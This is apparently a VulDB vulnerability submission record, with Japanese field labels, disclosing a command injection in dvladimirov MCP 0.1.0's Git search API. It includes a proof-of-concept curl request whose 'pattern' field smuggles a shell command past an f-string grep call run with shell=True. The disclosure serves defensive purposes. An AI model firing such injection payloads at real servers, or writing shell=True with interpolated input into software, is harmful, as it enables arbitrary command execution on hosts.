| タイトル | dvladimirov mcp 0.1.0 Command Injection |
|---|
| 説明 | The Git search API accepts a caller-controlled pattern string and passes it into a shell command built with Python f-string interpolation. Because the command is executed with shell=True, shell metacharacters in pattern break out of the intended grep invocation and execute arbitrary host commands.
curl -s -X POST 'http://HOST:PORT/v1/models/git-analyzer/search' \
-H 'Content-Type: application/json' \
-d '{
"repo_url": "https://github.com/octocat/Hello-World.git",
"pattern": "\"; touch /tmp/dvladimirov_mcp_cmdi; #"
}' |
|---|
| ソース | ⚠️ https://github.com/dvladimirov/MCP/issues/2 |
|---|
| ユーザー | SmallW (UID 97245) |
|---|
| 送信 | 2026年04月10日 14:57 (2 月 ago) |
|---|
| モデレーション | 2026年04月27日 17:01 (17 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 359807 [dvladimirov MCP 迄 0.1.0 Git Search API mcp_server.py GitSearchRequest repo_url/pattern 特権昇格] |
|---|
| ポイント | 20 |
|---|